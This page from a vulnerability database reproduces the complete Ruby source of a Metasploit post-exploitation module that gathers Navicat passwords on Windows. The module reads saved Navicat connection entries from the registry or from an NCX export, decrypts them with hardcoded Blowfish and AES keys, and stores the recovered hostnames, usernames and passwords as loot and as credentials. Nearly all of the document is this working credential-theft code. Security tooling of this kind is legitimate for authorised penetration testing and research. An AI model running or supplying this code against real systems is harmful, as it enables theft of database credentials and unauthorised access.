Lucene search
+L

Windows Gather Navicat Passwords

🗓️ 07 Nov 2022 19:51:00Reported by HyperSine, Kali-Team <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 126 Views

Windows Gather Navicat Passwords modul

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Post::File
  # secret_key = Digest::SHA1.digest('3DC5CA39')
  SECRET_KEY = "B\xCE\xB2q\xA5\xE4X\xB7J\xEA\x93\x94y\"5C\x91\x873@".freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Navicat Passwords',
        'Description' => %q{ This module will find and decrypt stored Navicat passwords. },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://github.com/HyperSine/how-does-navicat-encrypt-password'],
          [ 'URL', 'https://blog.kali-team.cn/Metasploit-Navicat-fbc1390cf57c40b5b576584c48b8e125']
        ],
        'Author' => [
          'HyperSine', # Research and PoC
          'Kali-Team <kali-team[at]qq.com>' # MSF module
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter', 'shell'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )
    register_options(
      [
        OptString.new('NCX_PATH', [ false, 'Specify the path of the NCX export file (e.g. connections.ncx).']),
      ]
    )
  end

  def blowfish_encrypt(data = "\xFF" * 8)
    cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
    cipher.padding = 0
    cipher.key_len = SECRET_KEY.length
    cipher.key = SECRET_KEY
    cipher.update(data) << cipher.final
  end

  def blowfish_decrypt(text)
    cipher = OpenSSL::Cipher.new('bf-cbc').decrypt
    cipher.padding = 0
    cipher.key_len = SECRET_KEY.length
    cipher.key = SECRET_KEY
    cipher.iv = "\x00" * 8
    cipher.update(text) + cipher.final
  end

  def strxor(str, second)
    str.bytes.zip(second.bytes).map { |a, b| (a ^ b).chr }.join
  end

  def decrypt_navicat11(encrypted_data)
    password = ''
    return password unless encrypted_data

    iv = blowfish_encrypt
    ciphertext = [encrypted_data].pack('H*')
    cv = iv
    full_round, left_length = ciphertext.length.divmod(8)

    if full_round > 0
      for i in 0..full_round - 1 do
        t = blowfish_decrypt(ciphertext[i * 8, 8])
        t = strxor(t, cv)
        password += t
        cv = strxor(cv, ciphertext[i * 8, 8])
      end
    end

    if left_length > 0
      cv = blowfish_encrypt(cv)
      test_value = strxor(ciphertext[8 * full_round, left_length], cv[0, left_length])
      password += test_value
    end

    password
  end

  def decrypt_navicat_ncx(ciphertext)
    ciphertext = [ciphertext].pack('H*')
    aes = OpenSSL::Cipher.new('aes-128-cbc')
    aes.decrypt
    aes.key = 'libcckeylibcckey'
    aes.padding = 0
    aes.iv = 'libcciv libcciv '
    aes.update(ciphertext)
  end

  def navicat_store_config(config)
    if %i[hostname service_name port username].any? { |e| config[e].blank? } || config[:password].nil?
      vprint_warning('Key data is empty, skip saving service credential')
      return # If any of these fields are nil or are empty (with the exception of the password field which can be empty),
      # then we shouldn't proceed, as we don't have enough info to store a credential which someone could actually
      # use against a target.
    end

    service_data = {
      address: config[:hostname],
      port: config[:port],
      service_name: config[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      private_type: :password,
      private_data: config[:password],
      username: config[:username],
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)
    create_credential_and_login(credential_data)
  end

  def parse_xml(data)
    mxml = REXML::Document.new(data).root
    result = []
    mxml.elements.to_a('//Connection').each do |node|
      host = node.attributes['Host']
      port = node.attributes['Port']
      proto = node.attributes['ConnType']
      username = node.attributes['UserName']
      name = node.attributes['ConnectionName']
      epassword = node.attributes['Password']
      password = decrypt_navicat_ncx(epassword)
      result << {
        name: name,
        protocol: proto.downcase,
        hostname: host,
        port: port,
        username: username,
        password: password || epassword
      }
    end
    print_and_save(result)
    return result
  end

  def get_reg
    reg_keys = Hash.new

    reg_keys['mysql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers'
    reg_keys['mariadb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers'
    reg_keys['mongodb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers'
    reg_keys['mssql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers'
    reg_keys['oracle'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers'
    reg_keys['postgres'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers'
    reg_keys['sqlite'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers'
    result = []
    reg_keys.each_pair do |db_name, reg_key|
      subkeys = registry_enumkeys(reg_key)
      next if subkeys.nil?

      subkeys.each do |subkey|
        enc_pwd_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Pwd')
        next if enc_pwd_value.nil?

        username_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'UserName')
        port_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Port')
        host_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Host')

        pwd_value = decrypt_navicat11(enc_pwd_value)
        result << {
          name: subkey,
          protocol: db_name,
          hostname: host_value,
          port: port_value,
          username: username_value,
          password: pwd_value || enc_pwd_value
        }
      end
    end
    print_and_save(result)
    return result
  end

  def print_and_save(results)
    columns = [
      'Name',
      'Protocol',
      'Hostname',
      'Port',
      'Username',
      'Password',
    ]
    tbl = Rex::Text::Table.new(
      'Header' => 'Navicat Sessions',
      'Columns' => columns
    )
    results.each do |item|
      tbl << item.values
      config = {
        name: item[:name],
        hostname: item[:hostname],
        service_name: item[:protocol],
        port: item[:port].nil? ? '' : item[:port],
        username: item[:username],
        password: item[:password]
      }
      navicat_store_config(config)
    end
    print_line(tbl.to_s)
    if tbl.rows.count > 0
      path = store_loot('host.navicat_session', 'text/plain', session, tbl, 'navicat_sessions.txt', 'Navicat Sessions')
      print_good("Session info stored in: #{path}")
    end
  end

  def run
    print_status('Gathering Navicat password information.')
    if datastore['NCX_PATH'].present?
      ncx_path = datastore['NCX_PATH']
      print_status("Looking for #{ncx_path}")
      begin
        if file_exist?(ncx_path)
          condata = read_file(ncx_path) || ''
          fail_with(Failure::Unknown, "The file #{ncx_path} could not be read") if condata.empty?

          loot_path = store_loot('navicat.creds', 'text/xml', session, condata, ncx_path)
          print_good("navicat.ncx saved to #{loot_path}")
          parse_xml(condata)
          print_status("Finished processing #{ncx_path}")
        end
      rescue Rex::Post::Meterpreter::RequestError
        fail_with(Failure::Unknown, "The file #{ncx_path} either could not be read or does not exist")
      end
    else
      get_reg
      print_status('Finished processing from the registry')
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation